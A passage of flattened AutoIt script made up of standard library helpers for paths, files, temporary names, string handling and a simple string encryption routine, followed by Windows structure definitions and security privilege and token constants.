$szext) If StringLen($szdrive) Then If NOT (StringLeft($szdrive, 2) = "\\") Then $szdrive = StringLeft($szdrive, 1) & ":" EndIf If StringLen($szdir) Then If NOT (StringRight($szdir, 1) = "\") AND NOT (StringRight($szdir, 1) = "/") Then $szdir = $szdir & "\" EndIf If StringLen($szext) Then If NOT (StringLeft($szext, 1) = ".") Then $szext = "." & $szext EndIf Return $szdrive & $szdir & $szfname & $szext EndFunc Func _pathsplit($szpath, ByRef $szdrive, ByRef $szdir, ByRef $szfname, ByRef $szext) Local $drive = "" Local $dir = "" Local $fname = "" Local $ext = "" Local $pos Local $array[5] $array[0] = $szpath If StringMid($szpath, 2, 1) = ":" Then $drive = StringLeft($szpath, 2) $szpath = StringTrimLeft($szpath, 2) ElseIf StringLeft($szpath, 2) = "\\" Then $szpath = StringTrimLeft($szpath, 2) $pos = StringInStr($szpath, "\") If $pos = 0 Then $pos = StringInStr($szpath, "/") If $pos = 0 Then $drive = "\\" & $szpath $szpath = "" Else $drive = "\\" & StringLeft($szpath, $pos - 1) $szpath = StringTrimLeft($szpath, $pos - 1) EndIf EndIf Local $nposforward = StringInStr($szpath, "/", 0, -1) Local $nposbackward = StringInStr($szpath, "\", 0, -1) If $nposforward >= $nposbackward Then $pos = $nposforward Else $pos = $nposbackward EndIf $dir = StringLeft($szpath, $pos) $fname = StringRight($szpath, StringLen($szpath) - $pos) If StringLen($dir) = 0 Then $fname = $szpath $pos = StringInStr($fname, ".", 0, -1) If $pos Then $ext = StringRight($fname, StringLen($fname) - ($pos - 1)) $fname = StringLeft($fname, $pos - 1) EndIf $szdrive = $drive $szdir = $dir $szfname = $fname $szext = $ext $array[1] = $drive $array[2] = $dir $array[3] = $fname $array[4] = $ext Return $array EndFunc Func _replacestringinfile($szfilename, $szsearchstring, $szreplacestring, $fcaseness = 0, $foccurance = 1) Local $iretval = 0 Local $ncount, $sendswith If StringInStr(FileGetAttrib($szfilename), "R") Then Return SetError(6, 0, -1) Local $hfile = FileOpen($szfilename, $fo_read) If $hfile = -1 Then Return SetError(1, 0, -1) Local $s_totfile = FileRead($hfile, FileGetSize($szfilename)) If StringRight($s_totfile, 2) = @CRLF Then $sendswith = @CRLF ElseIf StringRight($s_totfile, 1) = @CR Then $sendswith = @CR ElseIf StringRight($s_totfile, 1) = @LF Then $sendswith = @LF Else $sendswith = "" EndIf Local $afilelines = StringSplit(StringStripCR($s_totfile), @LF) FileClose($hfile) Local $iencoding = FileGetEncoding($szfilename) Local $hwritehandle = FileOpen($szfilename, $iencoding + $fo_overwrite) If $hwritehandle = -1 Then Return SetError(2, 0, -1) For $ncount = 1 To $afilelines[0] If StringInStr($afilelines[$ncount], $szsearchstring, $fcaseness) Then $afilelines[$ncount] = StringReplace($afilelines[$ncount], $szsearchstring, $szreplacestring, 1 - $foccurance, $fcaseness) $iretval = $iretval + 1 If $foccurance = 0 Then $iretval = 1 ExitLoop EndIf EndIf Next For $ncount = 1 To $afilelines[0] - 1 If FileWriteLine($hwritehandle, $afilelines[$ncount]) = 0 Then FileClose($hwritehandle) Return SetError(3, 0, -1) EndIf Next If $afilelines[$ncount] <> "" Then FileWrite($hwritehandle, $afilelines[$ncount] & $sendswith) FileClose($hwritehandle) Return $iretval EndFunc Func _tempfile($s_directoryname = @TempDir, $s_fileprefix = "~", $s_fileextension = ".tmp", $i_randomlength = 7) If IsKeyword($s_fileprefix) Then $s_fileprefix = "~" If IsKeyword($s_fileextension) Then $s_fileextension = ".tmp" If IsKeyword($i_randomlength) Then $i_randomlength = 7 If NOT FileExists($s_directoryname) Then $s_directoryname = @TempDir If NOT FileExists($s_directoryname) Then $s_directoryname = @ScriptDir If StringRight($s_directoryname, 1) <> "\" Then $s_directoryname = $s_directoryname & "\" Local $s_tempname Do $s_tempname = "" While StringLen($s_tempname) < $i_randomlength $s_tempname = $s_tempname & Chr(Random(97, 122, 1)) WEnd $s_tempname = $s_directoryname & $s_fileprefix & $s_tempname & $s_fileextension Until NOT FileExists($s_tempname) Return $s_tempname EndFunc Func _hextostring($strhex) If StringLeft($strhex, 2) = "0x" Then Return BinaryToString($strhex) Return BinaryToString("0x" & $strhex) EndFunc Func _stringbetween($s_string, $s_start, $s_end, $v_case = -1) Local $s_case = "" If $v_case = Default OR $v_case = -1 Then $s_case = "(?i)" Local $s_pattern_escape = "(\.|\||\*|\?|\+|\(|\)|\{|\}|\[|\]|\^|\$|\\)" $s_start = StringRegExpReplace($s_start, $s_pattern_escape, "\\$1") $s_end = StringRegExpReplace($s_end, $s_pattern_escape, "\\$1") If $s_start = "" Then $s_start = "\A" If $s_end = "" Then $s_end = "\z" Local $a_ret = StringRegExp($s_string, "(?s)" & $s_case & $s_start & "(.*?)" & $s_end, 3) If @error Then Return SetError(1, 0, 0) Return $a_ret EndFunc Func _stringencrypt($i_encrypt, $s_encrypttext, $s_encryptpassword, $i_encryptlevel = 1) If $i_encrypt <> 0 AND $i_encrypt <> 1 Then SetError(1, 0, "") ElseIf $s_encrypttext = "" OR $s_encryptpassword = "" Then SetError(1, 0, "") Else If Number($i_encryptlevel) <= 0 OR Int($i_encryptlevel) <> $i_encryptlevel Then $i_encryptlevel = 1 Local $v_encryptmodified Local $i_encryptcounth Local $i_encryptcountg Local $v_encryptswap Local $av_encryptbox[256][2] Local $i_encryptcounta Local $i_encryptcountb Local $i_encryptcountc Local $i_encryptcountd Local $i_encryptcounte Local $v_encryptcipher Local $v_encryptcipherby If $i_encrypt = 1 Then For $i_encryptcountf = 0 To $i_encryptlevel Step 1 $i_encryptcountg = "" $i_encryptcounth = "" $v_encryptmodified = "" For $i_encryptcountg = 1 To StringLen($s_encrypttext) If $i_encryptcounth = StringLen($s_encryptpassword) Then $i_encryptcounth = 1 Else $i_encryptcounth += 1 EndIf $v_encryptmodified = $v_encryptmodified & Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255)) Next $s_encrypttext = $v_encryptmodified $i_encryptcounta = "" $i_encryptcountb = 0 $i_encryptcountc = "" $i_encryptcountd = "" $i_encryptcounte = "" $v_encryptcipherby = "" $v_encryptcipher = "" $v_encryptswap = "" $av_encryptbox = "" Local $av_encryptbox[256][2] For $i_encryptcounta = 0 To 255 $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1)) $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta Next For $i_encryptcounta = 0 To 255 $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256) $v_encryptswap = $av_encryptbox[$i_encryptcounta][0] $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0] $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap Next For $i_encryptcounta = 1 To StringLen($s_encrypttext) $i_encryptcountc = Mod(($i_encryptcountc + 1), 256) $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256) $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0] $v_encryptcipherby = BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcounta, 1)), $i_encryptcounte) $v_encryptcipher &= Hex($v_encryptcipherby, 2) Next $s_encrypttext = $v_encryptcipher Next Else For $i_encryptcountf = 0 To $i_encryptlevel Step 1 $i_encryptcountb = 0 $i_encryptcountc = "" $i_encryptcountd = "" $i_encryptcounte = "" $v_encryptcipherby = "" $v_encryptcipher = "" $v_encryptswap = "" $av_encryptbox = "" Local $av_encryptbox[256][2] For $i_encryptcounta = 0 To 255 $av_encryptbox[$i_encryptcounta][1] = Asc(StringMid($s_encryptpassword, Mod($i_encryptcounta, StringLen($s_encryptpassword)) + 1, 1)) $av_encryptbox[$i_encryptcounta][0] = $i_encryptcounta Next For $i_encryptcounta = 0 To 255 $i_encryptcountb = Mod(($i_encryptcountb + $av_encryptbox[$i_encryptcounta][0] + $av_encryptbox[$i_encryptcounta][1]), 256) $v_encryptswap = $av_encryptbox[$i_encryptcounta][0] $av_encryptbox[$i_encryptcounta][0] = $av_encryptbox[$i_encryptcountb][0] $av_encryptbox[$i_encryptcountb][0] = $v_encryptswap Next For $i_encryptcounta = 1 To StringLen($s_encrypttext) Step 2 $i_encryptcountc = Mod(($i_encryptcountc + 1), 256) $i_encryptcountd = Mod(($i_encryptcountd + $av_encryptbox[$i_encryptcountc][0]), 256) $i_encryptcounte = $av_encryptbox[Mod(($av_encryptbox[$i_encryptcountc][0] + $av_encryptbox[$i_encryptcountd][0]), 256)][0] $v_encryptcipherby = BitXOR(Dec(StringMid($s_encrypttext, $i_encryptcounta, 2)), $i_encryptcounte) $v_encryptcipher = $v_encryptcipher & Chr($v_encryptcipherby) Next $s_encrypttext = $v_encryptcipher $i_encryptcountg = "" $i_encryptcounth = "" $v_encryptmodified = "" For $i_encryptcountg = 1 To StringLen($s_encrypttext) If $i_encryptcounth = StringLen($s_encryptpassword) Then $i_encryptcounth = 1 Else $i_encryptcounth += 1 EndIf $v_encryptmodified &= Chr(BitXOR(Asc(StringMid($s_encrypttext, $i_encryptcountg, 1)), Asc(StringMid($s_encryptpassword, $i_encryptcounth, 1)), 255)) Next $s_encrypttext = $v_encryptmodified Next EndIf Return $s_encrypttext EndIf EndFunc Func _stringexplode($sstring, $sdelimiter, $ilimit = 0) If $ilimit > 0 Then $sstring = StringReplace($sstring, $sdelimiter, Chr(0), $ilimit) $sdelimiter = Chr(0) ElseIf $ilimit < 0 Then Local $iindex = StringInStr($sstring, $sdelimiter, 0, $ilimit) If $iindex Then $sstring = StringLeft($sstring, $iindex - 1) EndIf EndIf Return StringSplit($sstring, $sdelimiter, 3) EndFunc Func _stringinsert($s_string, $s_insertstring, $i_position) Local $i_length, $s_start, $s_end If $s_string = "" OR (NOT IsString($s_string)) Then Return SetError(1, 0, $s_string) ElseIf $s_insertstring = "" OR (NOT IsString($s_string)) Then Return SetError(2, 0, $s_string) Else $i_length = StringLen($s_string) If (Abs($i_position) > $i_length) OR (NOT IsInt($i_position)) Then Return SetError(3, 0, $s_string) EndIf EndIf If $i_position = 0 Then Return $s_insertstring & $s_string ElseIf $i_position > 0 Then $s_start = StringLeft($s_string, $i_position) $s_end = StringRight($s_string, $i_length - $i_position) Return $s_start & $s_insertstring & $s_end ElseIf $i_position < 0 Then $s_start = StringLeft($s_string, Abs($i_length + $i_position)) $s_end = StringRight($s_string, Abs($i_position)) Return $s_start & $s_insertstring & $s_end EndIf EndFunc Func _stringproper($s_string) Local $ix = 0 Local $capnext = 1 Local $s_nstr = "" Local $s_curchar For $ix = 1 To StringLen($s_string) $s_curchar = StringMid($s_string, $ix, 1) Select Case $capnext = 1 If StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]") Then $s_curchar = StringUpper($s_curchar) $capnext = 0 EndIf Case NOT StringRegExp($s_curchar, "[a-zA-ZÀ-ÿšœžŸ]") $capnext = 1 Case Else $s_curchar = StringLower($s_curchar) EndSelect $s_nstr &= $s_curchar Next Return $s_nstr EndFunc Func _stringrepeat($sstring, $irepeatcount) Local $sresult Select Case NOT StringIsInt($irepeatcount) SetError(1) Return "" Case StringLen($sstring) < 1 SetError(1) Return "" Case $irepeatcount <= 0 SetError(1) Return "" Case Else For $icount = 1 To $irepeatcount $sresult &= $sstring Next Return $sresult EndSelect EndFunc Func _stringreverse($s_string) Local $i_len = StringLen($s_string) If $i_len < 1 Then Return SetError(1, 0, "") Local $t_chars = DllStructCreate("char[" & $i_len + 1 & "]") DllStructSetData($t_chars, 1, $s_string) Local $a_rev = DllCall("msvcrt.dll", "ptr:cdecl", "_strrev", "struct*", $t_chars) If @error OR $a_rev[0] = 0 Then Return SetError(2, 0, "") Return DllStructGetData($t_chars, 1) EndFunc Func _stringtohex($strchar) Return Hex(StringToBinary($strchar)) EndFunc Global Const $tagpoint = "struct;long X;long Y;endstruct" Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct" Global Const $tagsize = "struct;long X;long Y;endstruct" Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight" Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct" Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct" Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct" Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct" Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param" Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]" Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why" Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param" Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid" Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]" Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct" Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags" Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset" Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved" Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values" Global Const $taggdipencoderparams = "uint Count;byte Params[1]" Global Const $taggdiprectf = "float X;float Y;float Width;float Height" Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs" Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc" Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask" Global Const $taggdippencoderparams = "uint Count;byte Params[1]" Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State" Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam" Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem" Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1" Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value" Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct" Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup" Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct" Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param" Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign" Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam" Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags" Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY" Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol" Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span" Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet" Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds" Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState" Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct" Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags" Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct" Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct" Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct" Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level" Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam" Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item" Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags" Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo" Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes" Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData" Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem" Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $tagrect & ";uint uChevronState" Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak" Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct" Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam" Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM" Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct" Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow" Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags" Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String" Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax" Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider" Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent" Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx" Global Const $tagbitmapinfo = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad" Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format" Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]" Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]" Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags" Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos" Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]" Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]" Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo" Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID" Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError" Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle" Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]" Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet" Global Const $error_no_token = 1008 Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege" Global Const $se_audit_name = "SeAuditPrivilege" Global Const $se_backup_name = "SeBackupPrivilege" Global Const $se_change_notify_name = "SeChangeNotifyPrivilege" Global Const $se_create_global_name = "SeCreateGlobalPrivilege" Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege" Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege" Global Const $se_create_token_name = "SeCreateTokenPrivilege" Global Const $se_debug_name = "SeDebugPrivilege" Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege" Global Const $se_impersonate_name = "SeImpersonatePrivilege" Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege" Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege" Global Const $se_load_driver_name = "SeLoadDriverPrivilege" Global Const $se_lock_memory_name = "SeLockMemoryPrivilege" Global Const $se_machine_account_name = "SeMachineAccountPrivilege" Global Const $se_manage_volume_name = "SeManageVolumePrivilege" Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege" Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege" Global Const $se_restore_name = "SeRestorePrivilege" Global Const $se_security_name = "SeSecurityPrivilege" Global Const $se_shutdown_name = "SeShutdownPrivilege" Global Const $se_sync_agent_name = "SeSyncAgentPrivilege" Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege" Global Const $se_system_profile_name = "SeSystemProfilePrivilege" Global Const $se_systemtime_name = "SeSystemtimePrivilege" Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege" Global Const $se_tcb_name = "SeTcbPrivilege" Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege" Global Const $se_undock_name = "SeUndockPrivilege" Global Const $se_privilege_enabled_by_default = 1 Global Const $se_privilege_enabled = 2 Global Const $se_privilege_removed = 4 Global Const $se_privilege_used_for_access = -2147483648 Global Const $se_group_mandatory = 1 Global Const $se_group_enabled_by_default = 2 Global Const $se_group_enabled = 4 Global Const $se_group_owner = 8 Global Const $se_group_use_for_deny_only = 16 Global Const $se_group_integrity = 32 Global Const $se_group_integrity_enabled = 64 Global Const $se_group_resource = 536870912 Global Const $se_group_logon_id = -1073741824 Global Enum $tokenprimary = 1, $tokenimpersonation Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid Global Const $token_assign_primary = 1 Global Const $token_duplicate = 2 Global Const $token_impersonate = 4 Global Const $token_query = 8 Global Const $token_query_source = 16 Global Const $token_adjust_privileges = 32 Global Const $token_adjust_groups = 64 Global Const $token_adjust_default = 128 Global Const $token_adjust_sessionid = 256 Global Const $token_all_access = 983551 Global Const $token_read = 131080 Global Const $token_write = 131296 Global Const $token_execute = 131072 Global Const $token_has_traverse_privilege = 1 Global Const $token_has_backup_privilege = 2 Global Const $token_has_restore_privilege = 4 Global Const $token_has_admin_group = 8 Global Const $token_is_restricted = 16 Global Const $token_session_not_referenced = 32 Global Const $token_sandbox_inert = 64 Global Const $token_has_impersonate_privilege = 128 Global Const $rights_delete = 65536 Global Const $read_control = 131072 Global Const $write_dac = 262144 Global Const $write_owner = 524288 Global Const $synchronize = 1048576 Global Const $standard_rights_required = 983040 Global 